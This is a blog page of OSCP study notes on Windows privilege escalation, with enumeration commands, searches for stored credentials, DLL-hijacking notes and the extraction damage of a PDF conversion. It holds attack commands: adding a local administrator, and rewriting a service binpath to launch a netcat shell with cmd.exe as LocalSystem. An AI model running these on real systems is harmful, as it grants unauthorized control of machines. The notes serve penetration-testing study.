OSCP Notes – Privilege Escalation (Windows)
OSCP Notes – Privilege Escalation (Windows)
SECURISM
All about Information Security
USEFUL RESOURCES
http://it-ovid.blogspot.in/2012/02/windows-privilege-escalation.html
http://toshellandback.com/2015/11/24/ms-priv-esc/
http://www.youtube.com/watch?v=kMG8IsCohHA
http://www.youtube.com/watch?v=_8xJaaQlpBo
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
http://www.greyhathacker.net/?p=738
https://github.com/GDSSecurity/Windows-Exploit-Suggester
PSEXEC.exe -i -s -d CMD
https://blogs.technet.microso t.com/askds/2008/10/22/getting-a-cmd-prompt-as-system-in-windows-vista-and-windows-
server-2008/
http://carnal0wnage.attackresearch.com/2013/07/admin-to-system-win7-with-remoteexe.html
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
net user /add [username] [password]
net localgroup administrators [username] /add
#include
int main()
{ int i;
windows-privesc-check2.exe
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
BASIC COMMANDS
net view
net user /domain
echo %logonserver%
ipcon g /all
route print
arp -A
netstat -ano
netsh rewall show state
netsh rewall show con g
schtasks /query /fo LIST /v
tasklist /SVC
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
net start Running windows services
DRIVERQUERY
dir sysprep.inf /s
dir sysprep.xml /s
dir Unattended.xml /s
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
WHEN MACHINE ON DOMAIN (GROUP POLICY PREFERENCE GPP)
C:\Windows\SYSVOL\sysvol
C:\ProgramData\Microso t\Group Policy\History
Extracted these two paths from above exploit module
WINDOWS SERVICES
Info on service
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
sc qc
Prevents pop ups to user :
accesschk.exe /accepteula
accesschk.exe -ucqv
Access permissions on speci c Group
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
MODIFYING VULNERABLE SERVICES
sc qc upnphost
sc con g upnphost binpath= “C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe”
sc con g upnphost obj= “.\LocalSystem” password= “”
sc qc upnphost
net start upnphost
FILES/FOLDER PERMISSIONS
http://www.greyhathacker.net/?p=738
1. Examine ALL the binpaths for the windows services, scheduled tasks and startup tasks.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
2. Look for permissions on les/folders if can be changed.
3. Replace the binaries/DLLs if possible
DLL HIJACKING
If any service tries to access non-exiting DLLs. But how to identify which services will do that? This might be done, by
running the same service in a test environment and using sysinternal’s procmon to see what DLLs are requested by the
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
service. DLL Redirection could also be used. https://msdn.microso t.com/en-
us/library/windows/desktop/ms682600(v=vs.85).aspx
You can see the DLL search order on 32-bit systems below:
1 – The directory from which the application loaded No access as limited user
2 – 32-bit System directory (C:\Windows\System32) No access as limited user
3 – 16-bit System directory (C:\Windows\System) No access as limited user
4 – Windows directory (C:\Windows) No access as limited user
5 – The current working directory (CWD) NA
6 – Directories in the PATH environment variable (system then user)
echo %PATH%
accesschk.exe -dqv “C:\Python27”
sc qc
VNC STORED
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
WINDOWS AUTOLOGIN:
SNMP PARAMETERS:
http://www.nirso t.net/
SHATTER ATTACK
SCHEDULED TASKS
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
schtasks /query /fo LIST /v
ORPHANED INSTALLS
Advertisements
REPORT THIS AD
SHARE THIS:
Twitter Facebook
Like
LEAVE A REPLY
Enter your comment here...
Search …
PAGES
Contact
OSCP Notes – Bu fer Over low
OSCP Notes – Exploitation
OSCP Notes – File Transfers
OSCP Notes – Information Gathering
OSCP Notes – Meterpreter
OSCP Notes – Password Attacks
OSCP Notes – Port Forwarding
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
OSCP Notes – Port Scanning
OSCP Notes – Privilege Escalation (Linux)
OSCP Notes – Privilege Escalation (Windows)
OSCP Notes – Shells
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD